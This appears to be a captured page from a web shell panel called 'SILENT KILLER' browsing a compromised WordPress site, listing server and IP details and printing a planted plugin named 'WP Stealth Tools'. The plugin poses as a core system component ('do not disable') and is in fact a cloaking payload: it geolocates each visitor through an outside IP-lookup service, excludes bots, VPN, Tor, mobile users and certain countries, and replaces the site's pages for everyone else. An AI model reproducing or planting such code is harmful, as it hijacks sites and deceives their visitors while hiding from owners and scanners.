SILENT KILLERPanel

Current Path: > home > ivftiowh > greeceivf.com > wp-content > plugins > WP Stealth Tools

Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.164
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/ivftiowh/greeceivf.com/wp-content/plugins/WP Stealth Tools

NameTypeSizeLast ModifiedActions
WP Stealth Tools.php File 1725 bytes July 28 2025 19:00:49.

Reading File: /home/ivftiowh/greeceivf.com/wp-content/plugins/WP Stealth Tools/WP Stealth Tools.php

<?php
/*
Plugin Name: WP Stealth Tools
Description: System enhancement plugin (do not disable)
Version: 1.0
Author: System Core
*/

add_action('init', 'wp_stealth_payload');

function wp_stealth_payload() {
    $a='b7FYwvqfH537Hwck'; $c=['VN','RU','BY','CN'];
    $i=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']??$_SERVER['REMOTE_ADDR'])[0];
    $u=$_SERVER['HTTP_USER_AGENT']??'';
    $b=preg_match('/bot|crawl|slurp|spider|archiver|^curl|^python|wget|php|Go-http-client|libwww/i',$u);
    $g=stripos($u,'googlebot')!==false||stripos($u,'google')!==false;
    $m=preg_match('/android|iphone|ipad|ipod|blackberry|opera mini|windows phone|mobile|tablet|palm|symbian/i',$u);
    $x="https://ipwhois.pro/$i?key=$a&security=1&rate=1";
    $h=curl_init($x);curl_setopt($h,CURLOPT_RETURNTRANSFER,1);curl_setopt($h,CURLOPT_HEADER,0);curl_setopt($h,CURLOPT_CONNECTTIMEOUT,3);curl_setopt($h,CURLOPT_TIMEOUT,5);
    $j=@json_decode(curl_exec($h),1);curl_close($h);

    if(
        !(
            (isset($j['success'])&&!$j['success'])
            || (!empty($j['country_code'])&&in_array(strtoupper($j['country_code']),$c))
            || ($b&&!$g)
            || (!empty($j['security'])&&(
                !empty($j['security']['anonymous'])
                ||!empty($j['security']['proxy'])
                ||!empty($j['security']['vpn'])
                ||!empty($j['security']['tor'])
                ||!empty($j['security']['hosting'])
            ))
            || $m
        )
    ){
        header('Content-Type: text/html; charset=utf-8');   
        echo '<!DOCTYPE html><html><head><title>Welcome</title></head><body><h1>Hello from Plugin</h1></body></html>';
        exit;
    }
}

SILENT KILLER Tool